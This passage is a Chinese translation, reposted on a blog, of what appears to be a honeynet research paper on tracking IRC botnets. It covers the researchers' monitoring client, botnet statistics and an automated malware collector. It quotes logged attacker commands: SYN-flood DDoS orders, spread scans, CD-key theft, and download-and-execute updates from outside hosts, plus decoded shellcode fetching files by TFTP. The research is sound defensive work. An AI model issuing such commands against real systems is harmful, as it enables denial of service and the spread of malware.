但如果你以这种途径开始的话会有很多问题:有些僵尸网络使用做了很大剪裁的 IRC 守护进程,这些守护进程与 RFC 并不兼容,以致正常的 IRC 客户端无法连接到这种网络。一个克服这个问题的可能办法是找出操作员剪裁掉的东西并修改你喜欢的客户端原代码来克服这种情况。当前几乎所有的 IRC 客户端都没有编写良好的代码或者有些其他的缺点。所以可能的办法是你自己写你自己的 IRC 客户端来跟踪僵尸网络。欢迎加入( IRC 客户端程序)俱乐部-我们的客户端叫做“ Drone ”。当你编写自己的 IRC 客户端的时候你需要考虑一些缺陷。在我们专注的跟踪僵尸网络的 IRC 客户端,我们发现一些有用的特征:
支持 SOCK v4 ; 多服务器支持:如果你不想要在你每发现一个僵尸网络时就开发一个新的软件的话,这是一个很有用的特征; 不用线程:有线程的软件会很难调试; 非阻塞连接和 DNS 解析; poll ():在一个文件描述符上使用非阻塞 I/O 等待某些时间的发生我们需要应该一个多路复用器, select ()也可胜任这个工作; libadns : 这是一个异步的域名解析库。查找主机名并不会阻塞你的代码及时查询会花些时间,如果决定不使用线程的话这个就需要了; 由于在编写多服务器客户端时 OOP 提供很多优势,所以用 C 编写代码; 模块化的借口使得可以在运行时卸载 / 装载 (C ) 模块; libcurl : 这是一个转换带有 URL 语法的文件的命令行工具,它支持多种不同的协议。 Libcurl 提供跟命令行一样的特征; Perl Compatible Regular Expressions (PCRE) : PCRE 库是使用和 Perl5 一样的语法和语义执行正则表达式模式匹配的函数库。 PCRE 使得我们的客户端可以猜测命令的意思并以一种“本地的”方式来交互; 额外的调试记录接口使得获取关于与 RFC 不兼容命令的信息非常的快并在客户端修复它们成为可能(边注: 50 个僵尸网络的一天的日志会超过 500 兆的调试信息) Drone 可以使用 SOCKS v4 代理使得如果我们在一个 Botne 里被攻击者发现时也不会出现问题。 SOCKS v4 代理在不同的网络内是拨入帐号,所以我们可以容易的改变 IP 地址。 Drone 本身运行在一个我们自己维护的独立 主机 上。感谢所有通过赞助 shell 和(或者)代理对我们的项目有贡献的人们。有些反病毒商家发布关于僵尸网络的数据,虽然这些信息有用,但有时对于有效的跟踪僵尸网络并不足够,如我们在僵尸网络所示 as we demonstrate in 僵尸网络 Vendors 。。
有时僵尸网络的所有者将发起一些命令来指导他的僵尸工具 s 。我们在末尾的一节节介绍了比较常使用的命令。使用我们的方法,我们可以监视攻击者发起的命令并学习 更多关于攻击者攻击动机的知识。为了进一步提高我们的方法论,我们尝试写一个基于 PCRE 的僵尸工具模拟器使得我们的虚假客户端甚至可以正确的对给定的命令做出反映。但不久我们就减小了我们的设计目标,因为并没有僵尸网络命令标准,而且攻击者倾向于经常改变他们的命令。在大多数情况下,命令回复被转化成他们的 母语
当你监视超过一对网络时,开始检查下它们是否连在一起,如果可能的话就把它们连在一起。链路检查很容易,只要加入所有网络上的一个特定频道并看下你是 否得到不止一个的客户端。很令人惊奇的是很多网络是连接在一起的。攻击者倾向于为每一个僵尸工具版本建立一个 DNS 名字和频道。为了学习更多关于攻击者的知识 ,尝试把攻击者的昵称拿到 Google 搜索下,你经常会对你获取得到的信息量感到惊讶。最后,检测下服务器的地域 Internet 注册 (RIR) 条目 (RIPE NCC , ARIN , APNIC , and LACNIC) 获取更多攻击者的知识。
学到的经验
本节我们介绍我们通过观察僵尸网络获得的一些信息。我们对数据做了无害处理,以保没人能从这些数据里面得到关于特定系统的具体的攻击信息,并保护涉及到的这些人的身份和私人信息。同样,本文的数据也是德国蜜网组织在德国收集的,关于特定攻击和攻陷系统的信息已被转发到德国汉堡的 DFN-CERT( 计算机紧急响应小组 ) 。我们从过去几个月内观察到的僵尸网络的一些统计信息开始:
僵尸网络的数量 在过去的 4 个月内,我们跟踪了 100 多个僵尸网络。其中有些已经 ” 死掉 ” 了 ( 比如 IRC 服务器关闭或者没经验的攻击者 ) ,目前我们跟踪的活跃的僵尸网络数目大约是 35 个。
主机数目 在这几个月中,我们观察到 226585 个不同的 IP 地址加入了至少一个我们监视的频道。看到 IP 地址在这指的是 IRC 守护进程并没有被修改成在一个客户端加入时并不发出 JOIN 消息。如果修改 IRC 守护进程,不让它显示频道内的参加的客户端的话,我们就不会看到 IP 地址。此外,有些 IRC 守护进程把加入客户端的 IP 地址混淆,混淆的 IP 地址也就不计入数内。这说明僵尸网络造成的危害比开始想像的还要更加严重。基于我们很乐观估计我们已经跟踪到所有僵尸网络中的一大部分,而且我们跟踪的所有僵尸网络的 IRC 服务器没有修改以隐藏 JOIN 消息或者混淆加入的客户端的 IP 地址,这也意味着有超过 1 百万台被攻陷,被恶意攻击者控制的主机。由于攻击者有时使用修改过的 IRC 服务器,这些服务器不会给我们提供关于加入用户的信息,所以僵尸网络客户端肯定不止这些。
僵尸网络的典型大小 有些僵尸网络只有几百个僵尸工具组成。相对于这些僵尸网络,我们监视到几个拥有 5 万个主机的大型僵尸网络。这样大型的僵尸网络的确切大小是难以估计的。攻击者经常使用大量修改过的 IRC 服务器,僵尸工具也通过几个 IRC 服务器进行扩散。我们在 IRC 守护进程之间使用链路检查监测不同僵尸网络之间的网络连接,这些不同的僵尸网络形成一个更大的僵尸网络。因而我们可以粗略估计实际的大小。请记住:过去已有报导过拥有数百个主机的僵尸网络。如果超过 5 个的 IRC 服务器组成一个僵尸网络, IRC 守护进程经过剪裁,我们只能说:即使我们无法确定数目大小,它也是足够大的 ! 边注 : 我们知道有一台家用计算机被 16( 原文如此 ) 个不同的僵尸工具所感染,对于僵尸工具的数目我们无法做出估计
DDoS 攻击的规模 基于我们所学的知识,我们可以猜测由 Botnet 造成的 DDoS 攻击的规模。我们可以观察由控制者发起的命令,观看什么时候僵尸网络被用于 DDoS 攻击。从 2004 年 11 月初到 2005 年 1 月,我们观测到针对 99 个不同目标的 226 次 DDoS 攻击。这些攻击经常针对拨号线路,但也有针对更大网站的攻击。为了指出这样的攻击造成的危害,我们在另一个分开的页面介绍了我们收集到的关于 DDoS 攻击的数据。 “Operation Cyberslam” 证实了针对一个竞争对手的在线商店的商业 DDoS 攻击。
典型的 DDoS 攻击看起来像如下:控制者进入频道发起命令 ( 有时甚至是停止僵尸工具的进一步扩散 ) 。僵尸工具在做完任务后,就报告它们的状态 :
[###FOO###] <~nickname> .scanstop [###FOO###] <~nickname> .ddos.syn 151.49.8.XXX 21 200 [###FOO###] <-[XP]-18330> [DDoS]: Flooding: (151.49.8.XXX:21) for 200 seconds […] [###FOO###] <-[2K]-33820> [DDoS]: Done with flood (2573KB/sec). [###FOO###] <-[XP]-86840> [DDoS]: Done with flood (351KB/sec). [###FOO###] <-[XP]-62444> [DDoS]: Done with flood (1327KB/sec). [###FOO###] <-[2K]-38291> [DDoS]: Done with flood (714KB/sec). […] [###FOO###] <~nickname> .login 12345 [###FOO###] <~nickname> .ddos.syn 213.202.217.XXX 6667 200 [###FOO###] <-[XP]-18230> [DDoS]: Flooding: (213.202.217.XXX:6667) for 200 seconds. […] [###FOO###] <-[XP]-18320> [DDoS]: Done with flood (0KB/sec). [###FOO###] <-[2K]-33830> [DDoS]: Done with flood (2288KB/sec). [###FOO###] <-[XP]-86870> [DDoS]: Done with flood (351KB/sec). [###FOO###] <-[XP]-62644> [DDoS]: Done with flood (1341KB/sec). [###FOO###] <-[2K]-34891> [DDoS]: Done with flood (709KB/sec). […]
两个攻击显示出 DDoS 攻击的目标 :21/TCP 端口上的 FTP 服务器或者 6667/TCP 端口上的 IRC 服务器。
僵尸网络的扩散 “.advscan lsass 150 5 0 -r -s” 和其他命令是观察到的最经常使用的消息。通过这个命令和其他同样的命令,僵尸工具扩散并寻找有漏洞的系统。 Windows 系统经常是被攻击的目标,因为我们看到大部分的流量是 Windows 端口上的 ( 比如基于 CIFS 的文件共享 ) 。我们详细地分析了这些数据并把在一个页面介绍了针对僵尸工具扩散的分析结果。
获取到的信息 有时我们可以观察到来自所有攻陷主机的捕获信息。利用命令 “.getcdkeys” ,僵尸网络的操作者可以从僵尸工具请求一个 CD 注册码列表 ( 例如 Windows 或者游戏 ) 。由于攻击者认为这些是有价值的信息, CD 注册码可以卖给激活成功教程者或者被攻击者用于其他目的,虽然这种操作比较少。
升级僵尸网络 我们也观察到僵尸网络很经常升级。这里的升级指的是僵尸工具被要求从 Internet 上下载一个软件并执行该软件。发起的命令例子包括 :
.download http://spamateur.freeweb/space.com/leetage/gam … dows/config/gamma.exe 1 .download http://www.spaztenbox.net/cash.exe&nbs … e 1 -s !down http://www.angelfire.com/linuks/kuteless/ant1.x C … vers/disdn/anti.exe 1 ! dload http://www.angelfire.com/linuks/kutele … C:/firewallx.exe 1 .http.update http://59.56.178.20/~mugenxur/rBot.e … 2awds.exe 1 .http.update http://m1cr0s0ftw0rdguy.freesuperhost.com … %temp%/vhurdx.exe -s
( 注释 : 我们对链接作了无害处理以保这些代码不会意外被下载或者执行 )
如你所见,攻击者使用各种各样的网站空间提供商并经常混淆下载的二进制文件。参数 “-1” 告诉僵尸工具一旦下载完毕马上执行该文件。通过这种方式,僵尸工具可以动态的更新并进一步得到加强。我们也收集到僵尸工具下载的恶意软件并尽可能的做了分析。我们总共收集到 329 个文件,通过 “Kaspersky Anti-Virus On-Demand Scanner for Linux” 进行分行,其中有 219 个文件是恶意的 :
28 Backdoor.Win32.Rbot.gen 27 Backdoor.Win32.SdBot.gen 22 Trojan-Dropper.Win32.Small.nm 15 Backdoor.Win32.Brabot.d 10 Backdoor.Win32.VB.uc 8 Trojan.WinREG.LowZones.a 6 Backdoor.Win32.Iroffer.b 5 Trojan.Win32.LowZones.q 5 Trojan-Downloader.Win32.Small.qd 5 Backdoor.Win32.Agobot.gen 4 Virus.Win32.Parite.b 4 Trojan.Win32.LowZones.p 4 Trojan.BAT.Zapchast 4 Backdoor.Win32.Wootbot.gen 4 Backdoor.Win32.ServU-based 4 Backdoor.Win32.SdBot.lt 3 Trojan.Win32.LowZones.d 3 Trojan-Downloader.Win32.Agent.gd 2 Virus.BAT.Boho.a 2 VirTool.Win32.Delf.d 2 Trojan-Downloader.Win32.Small.ads 2 HackTool.Win32.Clearlog 2 Backdoor.Win32.Wootbot.u 2 Backdoor.Win32.Rbot.af 2 Backdoor.Win32.Iroffer.1307 2 Backdoor.Win32.Iroffer.1221 2 Backdoor.Win32.HacDef.084 1 Trojan.Win32.Rebooter.n 1 Trojan.Win32.LowZones.ab 1 Trojan.Win32.KillFiles.hb 1 Trojan-Spy.Win32.Quakart.r 1 Trojan-Proxy.Win32.Ranky.aw 1 Trojan-Proxy.Win32.Agent.cl 1 Trojan-Downloader.Win32.Zdown.101 1 Trojan-Downloader.Win32.IstBar.gv 1 Trojan-Downloader.Win32.IstBar.er 1 Trojan-Downloader.Win32.Agent.dn 1 Trojan-Clicker.Win32.Small.bw 1 Trojan-Clicker.Win32.Agent.bi 1 Net-Worm.Win32.DipNet.f 1 HackTool.Win32.Xray.a 1 HackTool.Win32.FxScanner 1 Backdoor.Win32.Wootbot.ab 1 Backdoor.Win32.Wisdoor.at 1 Backdoor.Win32.Spyboter.gen 1 Backdoor.Win32.Rbot.ic 1 Backdoor.Win32.Rbot.fo 1 Backdoor.Win32.Optix.b 1 Backdoor.Win32.Agent.ds
其他大部分的文件要么是广告软件 ( 在运行的时候显示广告条或者报告用户的习惯或者其他信息给第三者 ) ,代理服务器 ( 可以在服务器和客户端之间中转协议的计算机进程 ) 或者浏览器助手。 一个很不普通的事是有人从别人那里偷取僵尸网络。观察几个竞争的攻击者有点滑稽。如上所述,僵尸工具一般被敏感信息所保护,比如频道名字或者服务器密码。如果有人能得到所有这些信息,他就可以把别人僵尸网络内的僵尸工具升级成另一个僵尸工具,这样就从别人的僵尸网络那偷到僵尸工具。例如,前些阵子我们监视到僵尸网络 # 12 的控制者从一个看起来好像是废弃掉的僵尸网络 # 25 那里偷取僵尸工具。
最近,在我们观察的一个僵尸网络内,我们经历了一个不普通的升级:一切都好好的,僵尸网络主人成功验证了自己然后发起命令下载并执行了一个新文件。我们的客户 Drone 下载了文件,经过分析,我们安装了一个有特定昵称,标识结构和用户信息的客户端。但我们的客户端无法连接到 IRC 服务器加入新的频道。昵称的第一个字符在这个 IRC 服务器上是无效的,这样,攻击者大约丢掉了三千个不停的尝试连接服务器的僵尸工具。
很少见到,但是有意思的是僵尸网络的所有者在他们的僵尸工具频道内讨论问题。我们观察到几个对话。并对他们的社会生活了解了很多。我们有次观察到一个很小的 shell hoster 在它自己的服务器上操控僵尸网络对他的对手发起 DDoS 攻击,这些人选择同样的呢称命令僵尸网络支持在另一个 IRC 网络内的 shell 帐号。甚至,有些运行僵尸网络的人,当他们不用他们的僵尸网络内免费和匿名的 web 主机更新僵尸工具的时候,他们就会提供很多很多的信息。这些个人显示了没技巧的人如果运行和控制一个僵尸网络。
我们的观察显示出经常是那些令人惊奇的。只有有限编程技巧的年青小伙子在运行僵尸网络。论坛上充满了诸如 ” 我们怎么编译 *” 等类似的问题。这些人经常可很好的扩散他们的僵尸工具,但他们的兴味或多或少没什么危害。但是,我们也观察到有很高级技巧的攻击者 : 这些人很少加入控制频道,他们使用只有一个字符的呢称,发起一个命令后就离开。他们运行的僵尸工具的升级非常专业。可能这些人使用僵尸网络作为商业用途或者 ” 售卖 : 。一小部分的人使用僵尸网络为了金融利益。例如,通过为公司安装浏览器助手,跟踪 / 欺骗冲浪者或者点击弹出广告。还有一小部分使用僵尸网络的人好像是有很高的技巧,他们裁剪 IRC 守护进程软件与 RFC 不兼容,从不允许标准的 IRC 客户断联接过来。
另一个可能是安装特殊的软件以窃取信息。我们观察到一个有意思的例子:攻击者从攻陷主机偷取 Diablo 2 中的装备然后在 eBay 上兜售。 Diablo 2 是一个在线游戏,通过收集强大的装备你可以提升你的角色。装备越少,在 eBay 上的价格就越高。在 eBay 上搜索 Diablo 2 显示有些装备允许攻击者获得很多利润。有些僵尸网络被用来发送垃圾邮件:你可以租用僵尸网络。操控者给你一个带有主机 IP 地址和代理运行端口的 SOCKS v4 服务器列表。已经证实,僵尸网络被卖于发送垃圾邮件者作为邮件中转 :”Uncovered: Trojans as Spam Robots ” 。你在一个捕获到的例子中可以看到攻击者安装软件 ( 这里的软件是 Rootkits) 的一个例子。
进一步的研究
我们正在提高跟踪僵尸网络技术的一个研究领域是恶意软件收集。德国蜜网项目组的一个叫做 “mwcollect2” 的项目里正在开发一个简单,自动化收集恶意软件的程序。 mwcollect2 守护进程有数个动态链接的模块组成 :
漏洞模块 : 漏洞模块打开通用的漏洞端口 ( 比如 135 或者 2745) ,根据这些端口模拟漏洞。 Shellcode 解析模块 : 这些模块把漏洞模块收集到的 shellcode 转换成可被另一个模块获取的通用 URL 。 最后,获取模块简单的下载 URL 指定的文件,这些 URL 不必是 HTTP 或者 FTP ,也可以是 TFTP 或者其他协议。 目前的 mwcollect2 支持不同漏洞的模拟。下面的两个例子显示了该软件运行的结果。在第一个例子中, mwcollect2 在 TCP 端口 135 模拟一个漏洞并用自动化的方式获取了一个恶意软件:
mwc-tritium: DCOM Shellcode starts at byte 0x0370 and is 0x01DC bytes long. mwc-tritium: Detected generic XOR Decoder, key is 12h, code is e8h (e8h) bytes long. mwc-tritium: Detected generic CreateProcess Shellcode: “tftp.exe -i XXX.XXX.XXX.XXX get cdaccess6.exe” mwc-tritium: Pushed fetch request for “t ftp://XXX.XXX.XXX.XXX/cdaccess6.exe”. mwc-tritium: Finished fetching cdaccess6.exe
在第二个例子中,该软件模拟了一个可通过 Bagle 蠕虫后面攻击的 主机 ,同样, mwcollect2 也能成功的获取到恶意软件。
mwc-tritium: Bagle connection from XXX.XXX.XXX.XXX:4802 (to :2745). mwc-tritium: Bagle session with invalid auth string: 43FFFFFF303030010A2891A12BE6602F328F60151A201A00 mwc-tritium: Successful bagle session, fetch ” ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe”. mwc-tritium: Pushed fetch request for ” ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe”. mwc-tritium: Downloading of ftp://bla:bla@XXX.XXX.XXX.XXX:4847/bot.exe (ftp://bla … 47/bot.exe) successful.
下面的列表显示出这种途径的有效性 :
7x mwc-datasubm.1108825284.7ad37926 2005-02-19 16:01 CET 71de42be10d1bdff44d872696f900432 1x mwc-datasubm.1108825525.4a12d190 2005-02-19 16:05 CET e8b065b07a53af2c74732a1df1813fd4 1x mwc-datasubm.1108825848.7091609b 2005-02-19 16:10 CET 48b80b4b6ad228a7ec1518566d96e11e 2x mwc-datasubm.1108826117.20bf1135 2005-02-19 16:15 CET c95eb75f93c89695ea160831f70b2a4f 78x mwc-datasubm.1108826639.4a2da0bb 2005-02-19 16:23 CET 42cbaae8306d7bfe9bb809a5123265b9 19x mwc-datasubm.1108826844.36d259cc 2005-02-19 16:27 CET b1db6bbdfda7e4e15a406323bea129ce 3x mwc-datasubm.1108827274.77b0e14b 2005-02-19 16:34 CET fbd133e3d4ed8281e483d8079c583293 3x mwc-datasubm.1108827430.3c0bb9c9 2005-02-19 16:37 CET 7711efd693d4219dd25ec97f0b498c1f 4x mwc-datasubm.1108828105.6db0fb19 2005-02-19 16:48 CET 23fde2e9ebe5cc55ecebdbd4b8415764 29x mwc-datasubm.1108828205.11d60330 2005-02-19 16:50 CET 8982e98f4bde3fb507c17884f60dc086 2x mwc-datasubm.1108828228.500c4315 2005-02-19 16:50 CET d045f06f59ae814514ab329b93987c86 1x mwc-datasubm.1108828305.7c2a39a8 2005-02-19 16:51 CET 556779821a8c053c9cc7d23feb5dd1d4 34x mwc-datasubm.1108828311.655d01da 2005-02-19 16:51 CET de53892362a50b700c4d8eabf7dc5777 1x mwc-datasubm.1108828418.178aede3 2005-02-19 16:53 CET 2a4d822c2a37f1a62e5dd42df19ffc96 1x mwc-datasubm.1108828822.466083aa 2005-02-19 17:00 CET 2c1f92f9faed9a82ad85985c6c809030 1x mwc-datasubm.1108829309.705a683c 2005-02-19 17:08 CET be4236ffe684eb73667c78805be21fe6 11x mwc-datasubm.1108829323.4f579112 2005-02-19 17:08 CET 64cfefc817666dea7bc6f86270812438 1x mwc-datasubm.1108829553.56e1167d 2005-02-19 17:12 CET 5ab66fae6878750b78158acfb225d28f 11x mwc-datasubm.1108830012.4bbdedd9 2005-02-19 17:20 CET 05b691324c6ce7768becbdba9490ee47 1x mwc-datasubm.1108830074.1ca9565f 2005-02-19 17:21 CET e740de886cfa4e1651c3b9be019443f6 98x mwc-datasubm.1108830171.6ea1f079 2005-02-19 17:22 CET 3a0ab2b901f5a9e1023fa839f8ef3fe9 1x mwc-datasubm.1108830729.50dbf813 2005-02-19 17:32 CET f29797873a136a15a7ea19119f72fbed 1x mwc-datasubm.1108831490.3cd98651 2005-02-19 17:44 CET a8571a033629bfad167ef8b4e139ce5c 13x mwc-datasubm.1108832205.5eef6409 2005-02-19 17:56 CET d202563db64f0be026dd6ba900474c64
只需要一个拨入网络内的检测器的帮助,我们在两个小时内就可以得到 324 个文件,其中 24 个完全不同。文件的不同是通过 MD5Sum 计算得来的, md5sum 是一个计算和检测 MD5 消息摘要的工具。
一个使用 mwcollect 来收集僵尸工具的大优点是稳定性:一个想攻击运行 Windows 2000 的蜜罐的僵尸工具,这个攻击带有针对 Windows XP 的 jmp ebx 偏移,会导致服务崩溃的 shellcode 。在大多情况下,蜜罐将被迫重启。而 mwcollect2 可以成功的被所有的那些攻击工具所攻击并捕获到更多的文件。另外, mwcollect 更容易部属 – 只是一个简单的 make 命令收集就可以开始工作 ( 你可能会修改配置 ) 。然后这样捕获僵尸工具的副作用是文件必需人工检阅。一个位于带有能过虑相关 IRC 流量的 snort_inline 的 Honeywall 后面的蜜罐在被探测后能自动化的安装监听 Drone 。
由于 Drone 和 mwcollect 还在努力开发中,现在两者都还没有发布。更多信息请联系德国蜜网项目组。
总结
在本文中,我们试图说明蜜网如何帮助我们理解僵尸网络的工作方式,它们造成的威胁,攻击者如何控制它们等。我们的研究显示出有些攻击者具有很高的技巧和组织性,可能属于良好组织的犯罪团伙,运用数千个僵尸工具的威力,让任何网站或者网络在瞬间垮掉是可能的。即使是不熟练的新手,僵尸网络很显然是一个强有力的攻击武器。由于僵尸网络造成了这样大的威胁,我们需要各种机制来应对它们。
非集中式的提供商像 Akamai 能为其服务提供一些冗余,但很大的僵尸网络也会对这种冗余也能造成很严重的威胁。使 Akamai 崩溃将会影响到非常多的组织和公司, Akamai 是一个对某些特定的组织和个人有巨大可能价值的目标。我们目前不知道任何僵尸网络的用法会损害军队或者政府机构,但如果这样下去的话时间将告诉一切。
将来,我们希望开发更高级的蜜罐来帮助我们收集关于像僵尸网络这样的威胁。例子包括蜜罐客户端,它能积极参与网络 ( 比如通过抓取 Web ,在 IRC 频道发呆或者使用 P2P 网络 ) 或者修改蜜罐使得它们可以捕获恶意软件,并把这些恶意软件发送给反病毒公司作进一步的分析。由于我们目前的方法集中在使用 IRC 用于 C&C 的僵尸工具,我们在文章里主要关注基于 IRC 的僵尸工具。我们也观察了其他的僵尸工具,但这些僵尸工具比较少而且目前正在开发中。在未来的几个月内,会有更多的僵尸工具使用非 IRC C&C ,可能是非集中的 P2P 通讯。攻击者们不会停下来,所以在这领域的研究也是必需的。只要这些威胁在继续改进,安全社区就必须跟上步伐。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/161411.html原文链接:https://javaforall.cn